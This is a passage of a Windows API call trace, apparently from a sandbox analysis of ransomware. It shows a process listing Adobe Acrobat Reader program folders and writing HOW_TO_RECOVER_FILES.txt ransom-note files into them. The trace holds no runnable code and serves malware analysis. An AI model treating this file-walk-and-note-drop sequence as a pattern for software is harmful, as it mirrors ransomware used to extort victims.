out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Full.aapp", cAlternateFileName="EDIT_R~1.AAP")) returned 1 [0079.961] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_RHP.aapp", cAlternateFileName="EDIT_R~2.AAP")) returned 1 [0079.961] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_Full.aapp", cAlternateFileName="EPDF_F~1.AAP")) returned 1 [0079.961] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363534a5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_RHP.aapp", cAlternateFileName="EPDF_R~1.AAP")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d52724e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xa7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FillSign.aapp", cAlternateFileName="FILLSI~1.AAP")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d551e46, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x163, dwReserved0=0x0, dwReserved1=0x0, cFileName="Home.aapp", cAlternateFileName="HOME~1.AAP")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Measure.aapp", cAlternateFileName="MEASUR~1.AAP")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MoreTools.aapp", cAlternateFileName="MORETO~1.AAP")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OptimizePDF_R_RHP.aapp", cAlternateFileName="OPTIMI~1.AAP")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pages_R_RHP.aapp", cAlternateFileName="PAGES_~1.AAP")) returned 1 [0079.963] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect_R_RHP.aapp", cAlternateFileName="PROTEC~1.AAP")) returned 1 [0079.963] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Redact_R_RHP.aapp", cAlternateFileName="REDACT~1.AAP")) returned 1 [0079.963] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scan_R_RHP.aapp", cAlternateFileName="SCAN_R~1.AAP")) returned 1 [0079.963] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamp.aapp", cAlternateFileName="STAMP~1.AAP")) returned 1 [0079.963] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrackedSend.aapp", cAlternateFileName="TRACKE~1.AAP")) returned 1 [0079.963] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 1 [0079.964] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 0 [0079.964] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0079.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0079.966] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0079.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0079.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acroapp\\enu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x76c [0079.968] GetFileType (hFile=0x76c) returned 0x1 [0079.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0079.968] GetFileType (hFile=0x76c) returned 0x1 [0079.968] WriteFile (in: hFile=0x76c, lpBuffer=0x338d258*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x338d258*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0079.970] CloseHandle (hObject=0x76c) returned 1 [0079.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0079.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0079.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acroapp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x76c [0079.970] GetFileType (hFile=0x76c) returned 0x1 [0079.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0079.970] GetFileType (hFile=0x76c) returned 0x1 [0079.971] WriteFile (in: hFile=0x76c, lpBuffer=0x3390b00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x3390b00*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0079.972] CloseHandle (hObject=0x76c) returned 1 [0079.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0079.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF", lpFilePart=0x0) returned 0x3d [0079.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef.pak", cAlternateFileName="")) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_100_percent.pak", cAlternateFileName="CEF_10~1.PAK")) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_200_percent.pak", cAlternateFileName="CEF_20~1.PAK")) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_extensions.pak", cAlternateFileName="CEF_EX~1.PAK")) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f80ae4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x6b3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYING.LGPLv2.1.txt", cAlternateFileName="COPYIN~1.TXT")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaefffe5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x392eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~2.DLL")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f5a940, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x9b49f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt.dll", cAlternateFileName="")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe293087a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x458f9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcef.dll", cAlternateFileName="")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda3accdd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2ca650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="locales", cAlternateFileName="")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrCEF.exe", cAlternateFileName="")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrServicesUpdater.exe", cAlternateFileName="RDRSER~1.EXE")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0079.977] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 